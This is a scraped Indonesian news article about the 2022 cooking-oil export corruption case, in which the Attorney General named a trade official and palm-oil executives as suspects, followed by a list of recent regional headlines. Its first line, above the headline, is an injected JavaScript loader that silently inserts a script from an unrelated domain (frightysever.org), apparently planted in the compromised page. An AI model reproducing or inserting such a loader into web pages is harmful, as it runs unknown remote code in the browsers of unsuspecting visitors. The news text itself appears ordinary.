(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kronologi Kasus Korupsi Mafia Minyak Goreng, Dicurigai Sejak 2021


KANALKALIMANTAN.COM, JAKARTA – Sejumlah pejabat tinggi dan pengusaha ditetapkan oleh Kejaksaan Agung (Kejagung) jadi tersangka kasus mafia minyak goreng atau pemberian fasilitas ekspor minyak sawit mentah (Crude Palm Oil/CPO) yang dduga kuat jadi penyebab kelangkaan minyak goreng di tanah air.

Pada Selasa (19/4/2022) kemarin, Dirjen Perdagangan Luar Negeri kementerian Perdagangan (Kemendag) Indrasari Wishnu Wardhana, Senior Manager Corporate Affair Permata Hijau Grup Stanley MA, Komisaris Utama PT Wilmar Nabati Indonesia Master Parulian Tumanggor dan, General Manager di Bagian General Affair PT Musim Mas berinisial PT.

Dalam keterangan resminya, Jaksa Agung ST Burhanuddin menjelaskan, pengungkapan kasus ini bermula dari kelangkaan minyak goreng sejak awal tahun ini.

“Kelangkaan minyak goreng ini ironis sekali karena Indonesia adalah produsen CPO terbesar di dunia,” kata Burhanuddin kepada wartawan, Selasa (19/4/2022).

 

 

Baca juga: Jembatan Lampihong Peninggalan Belanda Segera Diperbaiki

Pihaknya lantas menerima arahan dari Presiden Joko Widodo (Jokowi) agar lembaga negara segera bergerak mendalami hal ini.

Setelah Kejagung mulai penyelidikan, didapati adanya dugaan tindak pidana korupsi terkait pemberian izin ekspor minyak goreng ke luar negeri.

Direktur Jenderal Perdagangan Luar Negeri Kemendag, Indrasari Wisnu Wardhana. Foto: Twitter/@catchmeupid

Kasus ini sudah diendus oleh pihak berwenang sejak awal tahun 2021 silam. Saat itu, Kementerian Perdagangan sudah mengambil aturan Domestic Market Obligation (DMO) dan Domestic Price Obligation (DPO) pada perusahaan penghasil minyak goreng.

Kebijakan ini disusul dengan adanya Harga Eceran Tertinggi (HET) pada penjualan minyak goreng dalam negeri.

“Namun pelaksanaannya, perusahaan eksportir tidak memenuhi DPO. Namun tetap memberikan persetujuan ekspor,” jelasnya.

Setidaknya ada 19 saksi yang diperiksa dalam kasus ini, serta 596 dokumen juga diteliti hingga akhirnya pihak berwajib menemukan dua alat bukti cukup untuk dapat menetapkan tersangka dalam kasus ini.

Keempat tersangka diatas diketahui melakukan komunikasi aktif demi mendapatkan persetujuan ekspor meski seharusnya mereka tidak mendapatkan izin.

Baca juga: Korban Meninggal Dunia Alfamart Ambruk Jadi 5 Orang, Hanafi Hembuskan Nafas di RSI Sultan Agung

Sebelumnya, Kepala Pusat Penerangan Hukum Kejagung Ketut Sumedana juga mengungkapkan penyidik Kejagung sudah menemukan bukti kuat adanya gratifikasi persetujuan ekspor dari Kementerian Pedagangan kepada anak usaha Wings Food Group yaitu PT Karya Indah Alam Sejahtera dan PT Mikie Oleo Nabati Industri.

Padahal, PT Karya Indah Alam Sejahtera dan PT Mikie Oleo Nabati Industri tidak memenuhi syarat ekspor karena tidak menaati aturan DMO-DPO. (Suara.com)

Editor : kk


Risa

Recent Posts

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

12 menit ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

36 menit ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

46 menit ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

1 jam ago

PUPR Kalsel Gelar Pelatihan Peningkatan Kapasitas Administrator SIPJAKI

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More

2 jam ago

Camat Mantangai Monitoring Posyandu di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS - Camat Mantangai, Yubderi melakukan monitoring kegiatan pelayanan di Posyandu Desa Manusup,… Read More

2 jam ago

This website uses cookies.